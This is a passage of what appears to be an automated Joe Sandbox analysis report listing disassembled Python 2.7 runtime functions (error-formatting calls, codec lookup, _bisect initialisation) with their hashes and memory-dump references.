                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\dictobject.c
                                                                                                                                                                    • API String ID: 376477240-1541589624
                                                                                                                                                                    • Opcode ID: 68c8a6e73e41527828c0c5635b4d795dc90acc0daae608af3fbf67e41e7b1c0a
                                                                                                                                                                    • Instruction ID: 1e025ea396097bdbf8189b8a9e4b7cd71d39a4ee972d732084d77b780cd7c1b3
                                                                                                                                                                    • Opcode Fuzzy Hash: 68c8a6e73e41527828c0c5635b4d795dc90acc0daae608af3fbf67e41e7b1c0a
                                                                                                                                                                    • Instruction Fuzzy Hash: 72E0D83572010817E310DEA88C86F7A77D5D749774F144789BC3C4B2D2E621E41096E5
                                                                                                                                                                    Function 670C4740 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\methodobject.c,0000002C), ref: 670C4764
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\methodobject.c, xrefs: 670C4759
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670C475E
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\methodobject.c
                                                                                                                                                                    • API String ID: 376477240-511127496
                                                                                                                                                                    • Opcode ID: 7e22f2f825b79ce38c368271401aef99b0b94f01249f74eed1d88bf805e3e20d
                                                                                                                                                                    • Instruction ID: 72429e39157e61147b5daa9c5909b17eeb84e3619669afa7b86e1c233ca1326c
                                                                                                                                                                    • Opcode Fuzzy Hash: 7e22f2f825b79ce38c368271401aef99b0b94f01249f74eed1d88bf805e3e20d
                                                                                                                                                                    • Instruction Fuzzy Hash: 62E086B56001086BC710EA98DD4BD15B7D8E70A154B44878AFD2C8B692EA21DD518AD6
                                                                                                                                                                    Function 670C47C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\methodobject.c,00000040), ref: 670C47E4
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\methodobject.c, xrefs: 670C47D9
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670C47DE
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\methodobject.c
                                                                                                                                                                    • API String ID: 376477240-511127496
                                                                                                                                                                    • Opcode ID: 22b62e26c84c8d9fe5955b88bcd9d498d81f5653c5ac2550be8ff15b498c5ddd
                                                                                                                                                                    • Instruction ID: e7494bf2afae86406ecf2f5a01e62ce5e81f7b0145ee40572b0320015f268c31
                                                                                                                                                                    • Opcode Fuzzy Hash: 22b62e26c84c8d9fe5955b88bcd9d498d81f5653c5ac2550be8ff15b498c5ddd
                                                                                                                                                                    • Instruction Fuzzy Hash: 40E086B590414C5BC710DA98DC4BE15B798E70A234F144789FD3C5B6D2E631ED50CAEA
                                                                                                                                                                    Function 670D7E90 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\tupleobject.c,00000072,?,67099B5A,?), ref: 670D7EB8
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\tupleobject.c, xrefs: 670D7EAD
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670D7EB2
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\tupleobject.c
                                                                                                                                                                    • API String ID: 376477240-1285866127
                                                                                                                                                                    • Opcode ID: 87661dc352dfbebd3b3e87e056e085f1eb2be2aa22a1a78972565f52b67af6fa
                                                                                                                                                                    • Instruction ID: 6851b518a9453de24e6056cc17fcd7b3fc7dad66161213dc6822da06dc055c6d
                                                                                                                                                                    • Opcode Fuzzy Hash: 87661dc352dfbebd3b3e87e056e085f1eb2be2aa22a1a78972565f52b67af6fa
                                                                                                                                                                    • Instruction Fuzzy Hash: DEE02634A042081BD310CE28DC86E153794D70973CF108389FC3C4B2C1E621EC50A6D6
                                                                                                                                                                    Function 67001550 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTuple_SizeT.PYTHON27(?,s:lookup,?), ref: 67001561
                                                                                                                                                                    • _PyCodec_Lookup.PYTHON27(?), ref: 67001575
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Arg_Codec_LookupParseSizeTuple_
                                                                                                                                                                    • String ID: s:lookup
                                                                                                                                                                    • API String ID: 2652231755-170959776
                                                                                                                                                                    • Opcode ID: 0881180ffee3230629e9eb070bb482d1d878908ce6b73ba6dabe4123c7de858f
                                                                                                                                                                    • Instruction ID: 60014923a94813bbfb01848f2f21c8b9332d2160627f02013d4adcddbba9dd07
                                                                                                                                                                    • Opcode Fuzzy Hash: 0881180ffee3230629e9eb070bb482d1d878908ce6b73ba6dabe4123c7de858f
                                                                                                                                                                    • Instruction Fuzzy Hash: 1CD012E690810C67DA00CBA0BC4197A73ACC64811CB0542A5ED0C46201F532DA149292
                                                                                                                                                                    Function 670C4780 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\methodobject.c,00000036), ref: 670C47A4
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\methodobject.c, xrefs: 670C4799
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670C479E
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\methodobject.c
                                                                                                                                                                    • API String ID: 376477240-511127496
                                                                                                                                                                    • Opcode ID: eac60613c5cd3948a4470b54c713c4f194195578020eb03578a9b521c1c2ce53
                                                                                                                                                                    • Instruction ID: dba515567f4a934d20f4cff8d98c8bc90817a8f0fa30c79c52aa6c7f6002f6c1
                                                                                                                                                                    • Opcode Fuzzy Hash: eac60613c5cd3948a4470b54c713c4f194195578020eb03578a9b521c1c2ce53
                                                                                                                                                                    • Instruction Fuzzy Hash: 88E0CDB591010C6BC710DA989C4BD15B7D8D30A164F048786FD2C87641E631D95086D6
                                                                                                                                                                    Function 670AAE80 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyObject_CallFunction_SizeT.PYTHON27(67245F20,su#nns,?,?,?,?,?,?), ref: 670AAEA6
                                                                                                                                                                      • Part of subcall function 6708F2F0: PyErr_SetString.PYTHON27(672465C8,null argument to internal routine), ref: 6708F317
                                                                                                                                                                    Strings
                                                                                                                                                                    • _$gsys.float_infoA structseq holding information about the float type. It contains low levelinformation about the precision and internal representation. Please studyyour system's :file:`float.h` for more information., xrefs: 670AAE99
                                                                                                                                                                    • su#nns, xrefs: 670AAEA0
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: CallErr_Function_Object_SizeString
                                                                                                                                                                    • String ID: _$gsys.float_infoA structseq holding information about the float type. It contains low levelinformation about the precision and internal representation. Please studyyour system's :file:`float.h` for more information.$su#nns
                                                                                                                                                                    • API String ID: 2991985268-675753609
                                                                                                                                                                    • Opcode ID: 567001ebf2deebfb2a86725d8150c2ae35de27768866d8e9d62d57a13009dd0a
                                                                                                                                                                    • Instruction ID: 9924ce349f2449bd9f35b92ac1f78a021358676fbe4205b7302eca8193fe9481
                                                                                                                                                                    • Opcode Fuzzy Hash: 567001ebf2deebfb2a86725d8150c2ae35de27768866d8e9d62d57a13009dd0a
                                                                                                                                                                    • Instruction Fuzzy Hash: EDE0B6B6610209AF9B04CE89DC81CAB33ADAB8C614B108108BA1883204D634FD518BB5
                                                                                                                                                                    Function 67099D60 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\classobject.c,0000008E), ref: 67099D87
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\classobject.c, xrefs: 67099D7C
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 67099D81
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\classobject.c
                                                                                                                                                                    • API String ID: 376477240-1919307765
                                                                                                                                                                    • Opcode ID: ca8346f3381cda50e068e15c57aa3bac1093ff5649db1a7d83f380ab640bfec9
                                                                                                                                                                    • Instruction ID: 485c74a4728a3c10fdbfbc4c18be935dbc860a1da586141cee5452331c095851
                                                                                                                                                                    • Opcode Fuzzy Hash: ca8346f3381cda50e068e15c57aa3bac1093ff5649db1a7d83f380ab640bfec9
                                                                                                                                                                    • Instruction Fuzzy Hash: FCE0C275A1120C6BC710EEA8DC4FF1473D8D309214F0447A2FC2C8B291EA61E890D7D6
                                                                                                                                                                    Function 67099DA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\classobject.c,00000098), ref: 67099DC7
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\classobject.c, xrefs: 67099DBC
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 67099DC1
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\classobject.c
                                                                                                                                                                    • API String ID: 376477240-1919307765
                                                                                                                                                                    • Opcode ID: 97c60f6b2dfa18ec137084ae5be09d968d64cd05fd2fbae1b793bfa9b532d2c1
                                                                                                                                                                    • Instruction ID: e55bbc2f636e03c498c2c2b3c00037f78c054dc33d377965838ef60f749ee302
                                                                                                                                                                    • Opcode Fuzzy Hash: 97c60f6b2dfa18ec137084ae5be09d968d64cd05fd2fbae1b793bfa9b532d2c1
                                                                                                                                                                    • Instruction Fuzzy Hash: 15E08C75A502085B8710DAA8DC4BF14B3D8D30A224B048792FC2C8B685EA21A85096D6
                                                                                                                                                                    Function 67099DE0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\classobject.c,000000A2), ref: 67099E07
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\classobject.c, xrefs: 67099DFC
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 67099E01
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\classobject.c
                                                                                                                                                                    • API String ID: 376477240-1919307765
                                                                                                                                                                    • Opcode ID: 463990edab1fe4562fb578dd7f3777318a2a1bda9bfd94940303ad6e64f56878
                                                                                                                                                                    • Instruction ID: 78c22501a80178ef3b09c729a6badc50e2d6a2d040902758a610f426ce5c7620
                                                                                                                                                                    • Opcode Fuzzy Hash: 463990edab1fe4562fb578dd7f3777318a2a1bda9bfd94940303ad6e64f56878
                                                                                                                                                                    • Instruction Fuzzy Hash: EFE0C275A142085FC720DEA8DC4BF1473D8D30A214F4047E2FC3C8B281EA31E86096E6
                                                                                                                                                                    Function 670096C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                      • Part of subcall function 67009290: PyString_FromString.PYTHON27(cannot iterate over closed LogReader object), ref: 670092CE
                                                                                                                                                                      • Part of subcall function 67009290: PyErr_SetObject.PYTHON27(?,00000000,cannot iterate over closed LogReader object), ref: 670092D7
                                                                                                                                                                    • PyErr_SetString.PYTHON27(67245B38,no more events in log), ref: 670096EA
                                                                                                                                                                    Strings
                                                                                                                                                                    • no more events in log, xrefs: 670096E4
                                                                                                                                                                    • 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 670096DE
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String$FromObjectString_
                                                                                                                                                                    • String ID: 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$no more events in log
                                                                                                                                                                    • API String ID: 354487993-1381053152
                                                                                                                                                                    • Opcode ID: f3ff65aa6089445031a8712f5c968ee959986a5214b5ee8d5384b17a7f21785d
                                                                                                                                                                    • Instruction ID: f57aeb57218a5d14330b34beb3aa2e1c38d2e767461a23dcd7aa0de268966f44
                                                                                                                                                                    • Opcode Fuzzy Hash: f3ff65aa6089445031a8712f5c968ee959986a5214b5ee8d5384b17a7f21785d
                                                                                                                                                                    • Instruction Fuzzy Hash: 42D05BF991424597EF00D674EC8991733ED575C7187104035DA0C87611FB35E551C766
                                                                                                                                                                    Function 67001500 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • Py_InitModule4.PYTHON27(_bisect,67271560,Bisection algorithms.This module provides support for maintaining a list in sorted order withouthaving to sort the list after each insertion. For long lists of items withexpensive comparison operations, this can be an improvement over the morecommon appro,00000000,000003F5), ref: 67001516
                                                                                                                                                                    Strings
                                                                                                                                                                    • _bisect, xrefs: 67001511
                                                                                                                                                                    • Bisection algorithms.This module provides support for maintaining a list in sorted order withouthaving to sort the list after each insertion. For long lists of items withexpensive comparison operations, this can be an improvement over the morecommon appro, xrefs: 67001507
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: InitModule4
                                                                                                                                                                    • String ID: Bisection algorithms.This module provides support for maintaining a list in sorted order withouthaving to sort the list after each insertion. For long lists of items withexpensive comparison operations, this can be an improvement over the morecommon appro$_bisect
                                                                                                                                                                    • API String ID: 1168669654-363380586
                                                                                                                                                                    • Opcode ID: 36bd8cd9129cc83a2146da3e9404060897f64cfb0b5e23efb688d8602fad5c93
                                                                                                                                                                    • Instruction ID: 5d99e007d57ea4ec1e580ae2d2b049d14587180b54c2406cc01c8c0eae5a9486
                                                                                                                                                                    • Opcode Fuzzy Hash: 36bd8cd9129cc83a2146da3e9404060897f64cfb0b5e23efb688d8602fad5c93
                                                                                                                                                                    • Instruction Fuzzy Hash: 64B01269E8090D32E029310D4DD6F1000000FCCD44FE10061F366340C5F8546380125F